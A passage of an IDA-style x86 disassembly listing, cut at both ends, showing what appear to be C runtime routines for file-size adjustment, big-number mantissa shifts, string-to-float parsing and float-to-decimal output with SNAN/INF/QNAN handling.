eax, edi loc_424EA7: ; CODE XREF: sub_424E01+AFj pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_424EAB: ; CODE XREF: sub_424E01+69j push esi jmp short loc_424E9A ; --------------------------------------------------------------------------- loc_424EAE: ; CODE XREF: sub_424E01+92j xor eax, eax jmp short loc_424EA7 sub_424E01 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4239DB loc_424EB2: ; CODE XREF: sub_4239DB+Ej push esi push edi push 3 xor edi, edi pop esi cmp dword_4DC5A0, esi jle short loc_424F05 loc_424EC1: ; CODE XREF: sub_4239DB+1528j mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_424EFC test byte ptr [eax+0Ch], 83h jz short loc_424EE0 push eax call sub_41B05B cmp eax, 0FFFFFFFFh pop ecx jz short loc_424EE0 inc edi loc_424EE0: ; CODE XREF: sub_4239DB+14F6j ; sub_4239DB+1502j cmp esi, 14h jl short loc_424EFC mov eax, dword_4DB598 push dword ptr [eax+esi*4] call sub_41B0B1 mov eax, dword_4DB598 pop ecx and dword ptr [eax+esi*4], 0 loc_424EFC: ; CODE XREF: sub_4239DB+14F0j ; sub_4239DB+1508j inc esi cmp esi, dword_4DC5A0 jl short loc_424EC1 loc_424F05: ; CODE XREF: sub_4239DB+14E4j mov eax, edi pop edi pop esi retn ; END OF FUNCTION CHUNK FOR sub_4239DB ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F0A proc near ; CODE XREF: sub_423A33+271p var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, dword_4DC6C0 jnb loc_42503F mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] test byte ptr [eax+ecx*8+4], 1 jz loc_42503F push 1 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_425049 push 2 push esi push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_425049 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_424FEC push 1000h lea eax, [ebp+var_1000] push esi push eax call sub_41B590 push 8000h push ebx call sub_425B44 add esp, 14h mov [ebp+arg_4], eax loc_424FA0: ; CODE XREF: sub_424F0A+BDj mov eax, 1000h cmp edi, eax jge short loc_424FAB mov eax, edi loc_424FAB: ; CODE XREF: sub_424F0A+9Dj push eax lea eax, [ebp+var_1000] push eax push ebx call sub_42291D add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_424FC9 sub edi, eax test edi, edi jle short loc_424FDF jmp short loc_424FA0 ; --------------------------------------------------------------------------- loc_424FC9: ; CODE XREF: sub_424F0A+B5j cmp dword_4DB27C, 5 jnz short loc_424FDC mov dword_4DB278, 0Dh loc_424FDC: ; CODE XREF: sub_424F0A+C6j or esi, 0FFFFFFFFh loc_424FDF: ; CODE XREF: sub_424F0A+BBj push [ebp+arg_4] push ebx call sub_425B44 pop ecx pop ecx jmp short loc_42502C ; --------------------------------------------------------------------------- loc_424FEC: ; CODE XREF: sub_424F0A+71j jge short loc_42502C push 0 push [ebp+arg_4] push ebx call sub_42272B push ebx call sub_4238A2 add esp, 10h push eax call near ptr 25F0000h nop mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42502C mov dword_4DB278, 0Dh call near ptr 2670763h nop mov dword_4DB27C, eax loc_42502C: ; CODE XREF: sub_424F0A+E0j ; sub_424F0A:loc_424FECj ... push 0 push [ebp+arg_0] push ebx call sub_42272B add esp, 0Ch mov eax, esi pop edi jmp short loc_42504C ; --------------------------------------------------------------------------- loc_42503F: ; CODE XREF: sub_424F0A+1Aj ; sub_424F0A+36j mov dword_4DB278, 9 loc_425049: ; CODE XREF: sub_424F0A+4Ej ; sub_424F0A+63j or eax, 0FFFFFFFFh loc_42504C: ; CODE XREF: sub_424F0A+133j pop esi pop ebx leave retn sub_424F0A endp ; =============== S U B R O U T I N E ======================================= sub_425050 proc near ; CODE XREF: sub_4241CF+2Bp ; sub_4241CF+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] xor eax, eax lea ecx, [edx+esi] cmp ecx, edx jb short loc_425066 cmp ecx, esi jnb short loc_425069 loc_425066: ; CODE XREF: sub_425050+10j push 1 pop eax loc_425069: ; CODE XREF: sub_425050+14j mov edx, [esp+4+arg_8] pop esi mov [edx], ecx retn sub_425050 endp ; =============== S U B R O U T I N E ======================================= sub_425071 proc near ; CODE XREF: sub_42512A+40p ; sub_42512A+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250A3 inc dword ptr [esi+8] loc_4250A3: ; CODE XREF: sub_425071+19j ; sub_425071+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_425050 add esp, 0Ch test eax, eax jz short loc_4250BB inc dword ptr [esi+8] loc_4250BB: ; CODE XREF: sub_425071+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_425050 add esp, 0Ch pop edi pop esi retn sub_425071 endp ; =============== S U B R O U T I N E ======================================= sub_4250CF proc near ; CODE XREF: sub_42512A+30p ; sub_42512A+36p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov esi, [eax] mov edi, [eax+4] mov ecx, esi add esi, esi mov [eax], esi lea esi, [edi+edi] shr ecx, 1Fh or esi, ecx mov ecx, [eax+8] mov edx, edi mov [eax+4], esi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+8], ecx pop esi retn sub_4250CF endp ; =============== S U B R O U T I N E ======================================= sub_4250FD proc near ; CODE XREF: sub_4256C2+1C8p ; sub_425BBA+17Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi mov edx, [eax+8] mov ecx, [eax+4] mov esi, edx mov edi, ecx shl esi, 1Fh shr ecx, 1 or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 shr edx, 1 or ecx, edi pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_4250FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42512A proc near ; CODE XREF: sub_4251F1+3CAp var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_8] xor edx, edx cmp eax, edx push esi mov [ebp+var_4], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_42519E push edi mov [ebp+arg_8], eax loc_425151: ; CODE XREF: sub_42512A+6Fj mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_4250CF push ebx call sub_4250CF lea eax, [ebp+var_10] push eax push ebx call sub_425071 push ebx call sub_4250CF mov eax, [ebp+arg_0] and [ebp+var_C], 0 and [ebp+var_8], 0 movsx eax, byte ptr [eax] mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_425071 add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_425151 xor edx, edx pop edi loc_42519E: ; CODE XREF: sub_42512A+21j ; sub_42512A+9Fj cmp [ebx+8], edx jnz short loc_4251CB mov ecx, [ebx+4] mov eax, ecx shr eax, 10h mov [ebx+8], eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h add [ebp+var_4], 0FFF0h mov [ebx+4], esi mov [ebx], eax jmp short loc_42519E ; --------------------------------------------------------------------------- loc_4251CB: ; CODE XREF: sub_42512A+77j mov esi, 8000h loc_4251D0: ; CODE XREF: sub_42512A+B9j test [ebx+8], esi jnz short loc_4251E5 push ebx call sub_4250CF add [ebp+var_4], 0FFFFh pop ecx jmp short loc_4251D0 ; --------------------------------------------------------------------------- loc_4251E5: ; CODE XREF: sub_42512A+A9j mov ax, word ptr [ebp+var_4] pop esi mov [ebx+0Ah], ax pop ebx leave retn sub_42512A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4251F1 proc near ; CODE XREF: sub_424518+17p ; sub_424545+17p var_5C = byte ptr -5Ch var_45 = byte ptr -45h var_40 = dword ptr -40h var_3A = dword ptr -3Ah var_36 = dword ptr -36h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch push ebx push esi push edi mov edi, [ebp+arg_8] lea eax, [ebp+var_5C] push 1 mov [ebp+var_C], eax xor eax, eax pop edx mov [ebp+var_28], eax mov [ebp+var_18], edx mov [ebp+var_4], eax mov [ebp+var_10], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_2C], eax mov [ebp+var_30], eax mov [ebp+var_1C], eax mov [ebp+var_8], eax mov [ebp+var_14], eax mov [ebp+arg_8], edi loc_42522C: ; CODE XREF: sub_4251F1+52j mov cl, [edi] cmp cl, 20h jz short loc_425242 cmp cl, 9 jz short loc_425242 cmp cl, 0Ah jz short loc_425242 cmp cl, 0Dh jnz short loc_425245 loc_425242: ; CODE XREF: sub_4251F1+40j ; sub_4251F1+45j ... inc edi jmp short loc_42522C ; --------------------------------------------------------------------------- loc_425245: ; CODE XREF: sub_4251F1+4Fj push 4 pop esi loc_425248: ; CODE XREF: sub_4251F1+AEj ; sub_4251F1+B7j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_4254CB ; default ; jumptable 00425254 case 10 jmp off_425692[eax*4] ; switch jump loc_42525B: ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 0 jl short loc_42526C cmp bl, 39h jg short loc_42526C loc_425265: ; CODE XREF: sub_4251F1+C4j ; sub_4251F1+118j push 3 jmp loc_425489 ; --------------------------------------------------------------------------- loc_42526C: ; CODE XREF: sub_4251F1+6Dj ; sub_4251F1+72j cmp bl, byte_43C508 jnz short loc_42527B loc_425274: ; CODE XREF: sub_4251F1+124j push 5 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_42527B: ; CODE XREF: sub_4251F1+81j movsx eax, bl sub eax, 2Bh jz short loc_4252A1 dec eax dec eax jz short loc_425295 sub eax, 3 jnz loc_425564 jmp loc_425324 ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_4251F1+94j push 2 mov [ebp+var_28], 8000h pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252A1: ; CODE XREF: sub_4251F1+90j and [ebp+var_28], 0 push 2 pop eax jmp short loc_425248 ; --------------------------------------------------------------------------- loc_4252AA: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 1 mov [ebp+var_10], edx jl short loc_4252B7 cmp bl, 39h jle short loc_425265 loc_4252B7: ; CODE XREF: sub_4251F1+BFj cmp bl, byte_43C508 jz loc_42537F cmp bl, 2Bh jz short loc_4252F9 cmp bl, 2Dh jz short loc_4252F9 cmp bl, 30h jz short loc_425324 loc_4252D2: ; CODE XREF: sub_4251F1+207j cmp bl, 43h jle loc_425564 cmp bl, 45h jle short loc_4252F2 cmp bl, 63h jle loc_425564 cmp bl, 65h jg loc_425564 loc_4252F2: ; CODE XREF: sub_4251F1+EDj push 6 jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_4252F9: ; CODE XREF: sub_4251F1+D5j ; sub_4251F1+DAj ... dec edi push 0Bh jmp loc_4254C1 ; --------------------------------------------------------------------------- loc_425301: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 2 jl short loc_42530F cmp bl, 39h jle loc_425265 loc_42530F: ; CODE XREF: sub_4251F1+113j cmp bl, byte_43C508 jz loc_425274 cmp bl, 30h jnz loc_4254D9 loc_425324: ; CODE XREF: sub_4251F1+9Fj ; sub_4251F1+DFj mov eax, edx jmp loc_425248 ; --------------------------------------------------------------------------- loc_42532B: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_10], edx ; jumptable 00425254 case 3 loc_42532E: ; CODE XREF: sub_4251F1+184j cmp dword_43C504, edx jle short loc_425347 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425355 ; --------------------------------------------------------------------------- loc_425347: ; CODE XREF: sub_4251F1+143j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425355: ; CODE XREF: sub_4251F1+154j test eax, eax jz short loc_425377 cmp [ebp+var_4], 19h jnb short loc_42536F mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] mov [eax], bl jmp short loc_425372 ; --------------------------------------------------------------------------- loc_42536F: ; CODE XREF: sub_4251F1+16Cj inc [ebp+var_8] loc_425372: ; CODE XREF: sub_4251F1+17Cj mov bl, [edi] inc edi jmp short loc_42532E ; --------------------------------------------------------------------------- loc_425377: ; CODE XREF: sub_4251F1+166j cmp bl, byte_43C508 jnz short loc_4253E6 loc_42537F: ; CODE XREF: sub_4251F1+CCj mov eax, esi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425386: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+var_4], 0 ; jumptable 00425254 case 4 mov [ebp+var_10], edx mov [ebp+var_24], edx jnz short loc_42539F loc_425392: ; CODE XREF: sub_4251F1+1ACj cmp bl, 30h jnz short loc_42539F dec [ebp+var_8] mov bl, [edi] inc edi jmp short loc_425392 ; --------------------------------------------------------------------------- loc_42539F: ; CODE XREF: sub_4251F1+19Fj ; sub_4251F1+1A4j ... cmp dword_43C504, edx jle short loc_4253B8 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_4253C6 ; --------------------------------------------------------------------------- loc_4253B8: ; CODE XREF: sub_4251F1+1B4j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_4253C6: ; CODE XREF: sub_4251F1+1C5j test eax, eax jz short loc_4253E6 cmp [ebp+var_4], 19h jnb short loc_4253E1 mov eax, [ebp+var_C] inc [ebp+var_4] sub bl, 30h inc [ebp+var_C] dec [ebp+var_8] mov [eax], bl loc_4253E1: ; CODE XREF: sub_4251F1+1DDj mov bl, [edi] inc edi jmp short loc_42539F ; --------------------------------------------------------------------------- loc_4253E6: ; CODE XREF: sub_4251F1+18Cj ; sub_4251F1+1D7j cmp bl, 2Bh jz loc_4252F9 cmp bl, 2Dh jz loc_4252F9 jmp loc_4252D2 ; --------------------------------------------------------------------------- loc_4253FD: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp dword_43C504, edx ; jumptable 00425254 case 5 mov [ebp+var_24], edx jle short loc_425419 movzx eax, bl push esi push eax call sub_41F515 pop ecx pop ecx push 1 pop edx jmp short loc_425427 ; --------------------------------------------------------------------------- loc_425419: ; CODE XREF: sub_4251F1+215j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, esi loc_425427: ; CODE XREF: sub_4251F1+226j test eax, eax jz loc_4254D9 mov eax, esi jmp short loc_42548A ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o lea ecx, [edi-2] ; jumptable 00425254 case 6 cmp bl, 31h mov [ebp+arg_8], ecx jl short loc_425443 cmp bl, 39h jle short loc_425487 loc_425443: ; CODE XREF: sub_4251F1+24Bj movsx eax, bl sub eax, 2Bh jz short loc_4254BF dec eax dec eax jz short loc_4254B3 sub eax, 3 jnz loc_425567 loc_425458: ; CODE XREF: sub_4251F1+2A4j push 8 jmp short loc_4254C1 ; --------------------------------------------------------------------------- loc_42545C: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], edx ; jumptable 00425254 case 8 loc_42545F: ; CODE XREF: sub_4251F1+276j cmp bl, 30h jnz short loc_425469 mov bl, [edi] inc edi jmp short loc_42545F ; --------------------------------------------------------------------------- loc_425469: ; CODE XREF: sub_4251F1+271j cmp bl, 31h jl loc_425564 cmp bl, 39h jg loc_425564 jmp short loc_425487 ; --------------------------------------------------------------------------- loc_42547D: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp bl, 31h ; jumptable 00425254 case 7 jl short loc_425490 cmp bl, 39h jg short loc_425490 loc_425487: ; CODE XREF: sub_4251F1+250j ; sub_4251F1+28Aj push 9 loc_425489: ; CODE XREF: sub_4251F1+76j pop eax loc_42548A: ; CODE XREF: sub_4251F1+240j dec edi jmp loc_425248 ; --------------------------------------------------------------------------- loc_425490: ; CODE XREF: sub_4251F1+28Fj ; sub_4251F1+294j cmp bl, 30h jnz short loc_4254D9 jmp short loc_425458 ; --------------------------------------------------------------------------- loc_425497: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o cmp [ebp+arg_18], 0 ; jumptable 00425254 case 11 jz short loc_4254C7 movsx eax, bl lea ecx, [edi-1] sub eax, 2Bh mov [ebp+arg_8], ecx jz short loc_4254BF dec eax dec eax jnz loc_425567 loc_4254B3: ; CODE XREF: sub_4251F1+25Cj or [ebp+var_18], 0FFFFFFFFh push 7 pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254BF: ; CODE XREF: sub_4251F1+258j ; sub_4251F1+2B8j push 7 loc_4254C1: ; CODE XREF: sub_4251F1+85j ; sub_4251F1+103j ... pop eax jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254C7: ; CODE XREF: sub_4251F1+2AAj push 0Ah dec edi pop eax loc_4254CB: ; CODE XREF: sub_4251F1+5Dj ; sub_4251F1+63j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00425254 case 10 jz loc_425569 jmp loc_425248 ; --------------------------------------------------------------------------- loc_4254D9: ; CODE XREF: sub_4251F1+12Dj ; sub_4251F1+238j ... mov edi, [ebp+arg_8] jmp loc_425569 ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_4251F1+63j ; DATA XREF: ___:off_425692o mov [ebp+var_20], 1 ; jumptable 00425254 case 9 xor esi, esi loc_4254EA: ; CODE XREF: sub_4251F1+339j cmp dword_43C504, 1 jle short loc_425502 movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_425511 ; --------------------------------------------------------------------------- loc_425502: ; CODE XREF: sub_4251F1+300j mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_425511: ; CODE XREF: sub_4251F1+30Fj test eax, eax jz short loc_425531 movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_42552C mov bl, [edi] inc edi jmp short loc_4254EA ; --------------------------------------------------------------------------- loc_42552C: ; CODE XREF: sub_4251F1+334j mov esi, 1451h loc_425531: ; CODE XREF: sub_4251F1+322j mov [ebp+var_1C], esi loc_425534: ; CODE XREF: sub_4251F1+371j cmp dword_43C504, 1 jle short loc_42554C movzx eax, bl push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_42555B ; --------------------------------------------------------------------------- loc_42554C: ; CODE XREF: sub_4251F1+34Aj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_42555B: ; CODE XREF: sub_4251F1+359j test eax, eax jz short loc_425564 mov bl, [edi] inc edi jmp short loc_425534 ; --------------------------------------------------------------------------- loc_425564: ; CODE XREF: sub_4251F1+99j ; sub_4251F1+E4j ... dec edi jmp short loc_425569 ; --------------------------------------------------------------------------- loc_425567: ; CODE XREF: sub_4251F1+261j ; sub_4251F1+2BCj mov edi, ecx loc_425569: ; CODE XREF: sub_4251F1+2DDj ; sub_4251F1+2EBj ... mov eax, [ebp+arg_4] cmp [ebp+var_10], 0 mov [eax], edi jz loc_425651 push 18h pop eax cmp [ebp+var_4], eax jbe short loc_425595 cmp [ebp+var_45], 5 jl short loc_425589 inc [ebp+var_45] loc_425589: ; CODE XREF: sub_4251F1+393j mov [ebp+var_4], eax mov eax, [ebp+var_C] dec eax inc [ebp+var_8] jmp short loc_425598 ; --------------------------------------------------------------------------- loc_425595: ; CODE XREF: sub_4251F1+38Dj mov eax, [ebp+var_C] loc_425598: ; CODE XREF: sub_4251F1+3A2j cmp [ebp+var_4], 0 jbe loc_425647 loc_4255A2: ; CODE XREF: sub_4251F1+3BDj dec eax cmp byte ptr [eax], 0 jnz short loc_4255B0 dec [ebp+var_4] inc [ebp+var_8] jmp short loc_4255A2 ; --------------------------------------------------------------------------- loc_4255B0: ; CODE XREF: sub_4251F1+3B5j lea eax, [ebp+var_40] push eax lea eax, [ebp+var_5C] push [ebp+var_4] push eax call sub_42512A mov eax, [ebp+var_1C] xor ecx, ecx add esp, 0Ch cmp [ebp+var_18], ecx jge short loc_4255CF neg eax loc_4255CF: ; CODE XREF: sub_4251F1+3DAj add eax, [ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_4255DA add eax, [ebp+arg_10] loc_4255DA: ; CODE XREF: sub_4251F1+3E4j cmp [ebp+var_24], ecx jnz short loc_4255E2 sub eax, [ebp+arg_14] loc_4255E2: ; CODE XREF: sub_4251F1+3ECj cmp eax, 1450h jle short loc_425619 mov [ebp+var_2C], 1 loc_4255F0: ; CODE XREF: sub_4251F1+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_4255FC: ; CODE XREF: sub_4251F1+454j ; sub_4251F1+45Ej cmp [ebp+var_2C], 0 jz short loc_425662 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425619: ; CODE XREF: sub_4251F1+3F6j cmp eax, 0FFFFEBB0h jge short loc_425629 mov [ebp+var_30], 1 jmp short loc_4255F0 ; --------------------------------------------------------------------------- loc_425629: ; CODE XREF: sub_4251F1+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_425DDA mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425647: ; CODE XREF: sub_4251F1+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_4255FC ; --------------------------------------------------------------------------- loc_425651: ; CODE XREF: sub_4251F1+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_425677 ; --------------------------------------------------------------------------- loc_425662: ; CODE XREF: sub_4251F1+40Fj cmp [ebp+var_30], 0 jz short loc_425677 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_425677: ; CODE XREF: sub_4251F1+426j ; sub_4251F1+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_4251F1 endp ; --------------------------------------------------------------------------- off_425692 dd offset loc_42525B ; DATA XREF: sub_4251F1+63r dd offset loc_4252AA ; jump table for switch statement dd offset loc_425301 dd offset loc_42532B dd offset loc_425386 dd offset loc_4253FD dd offset loc_425433 dd offset loc_42547D dd offset loc_42545C dd offset loc_4254E1 dd offset loc_4254CB dd offset loc_425497 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4256C2 proc near ; CODE XREF: sub_4245E9+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_425724 mov byte ptr [ebx+2], 2Dh jmp short loc_425728 ; --------------------------------------------------------------------------- loc_425724: ; CODE XREF: sub_4256C2+5Aj mov byte ptr [ebx+2], 20h loc_425728: ; CODE XREF: sub_4256C2+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_42574E test edi, edi jnz short loc_42574E cmp [ebp+arg_0], edi jnz short loc_42574E loc_425739: ; CODE XREF: sub_4256C2+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_42594C ; --------------------------------------------------------------------------- loc_42574E: ; CODE XREF: sub_4256C2+6Cj ; sub_4256C2+70j ... cmp dx, si jnz short loc_4257CD mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_425767 cmp [ebp+arg_0], 0 jz short loc_425776 loc_425767: ; CODE XREF: sub_4256C2+9Dj test edi, 40000000h jnz short loc_425776 push offset a1Snan ; "1#SNAN" jmp short loc_4257BC ; --------------------------------------------------------------------------- loc_425776: ; CODE XREF: sub_4256C2+A3j ; sub_4256C2+ABj test cx, cx jz short loc_425790 cmp edi, 0C0000000h jnz short loc_425790 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Ind ; "1#IND" jmp short loc_42579F ; --------------------------------------------------------------------------- loc_425790: ; CODE XREF: sub_4256C2+B7j ; sub_4256C2+BFj cmp edi, eax jnz short loc_4257B7 cmp [ebp+arg_0], 0 jnz short loc_4257B7 push offset a1Inf ; "1#INF" loc_42579F: ; CODE XREF: sub_4256C2+CCj lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_4257AE: ; CODE XREF: sub_4256C2+109j and [ebp+var_4], 0 jmp loc_425925 ; --------------------------------------------------------------------------- loc_4257B7: ; CODE XREF: sub_4256C2+C5j ; sub_4256C2+D0j ... push offset a1Qnan ; "1#QNAN" loc_4257BC: ; CODE XREF: sub_4256C2+B2j lea eax, [ebx+4] push eax call sub_41BEB0 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_4257AE ; --------------------------------------------------------------------------- loc_4257CD: ; CODE XREF: sub_4256C2+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_425DDA add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_42582E lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_425BBA pop ecx pop ecx loc_42582E: ; CODE XREF: sub_4256C2+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_425848 mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_42584B jmp loc_425739 ; --------------------------------------------------------------------------- loc_425848: ; CODE XREF: sub_4256C2+173j mov edi, [ebp+arg_C] loc_42584B: ; CODE XREF: sub_4256C2+17Fj cmp edi, 15h jle short loc_425853 push 15h pop edi loc_425853: ; CODE XREF: sub_4256C2+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; 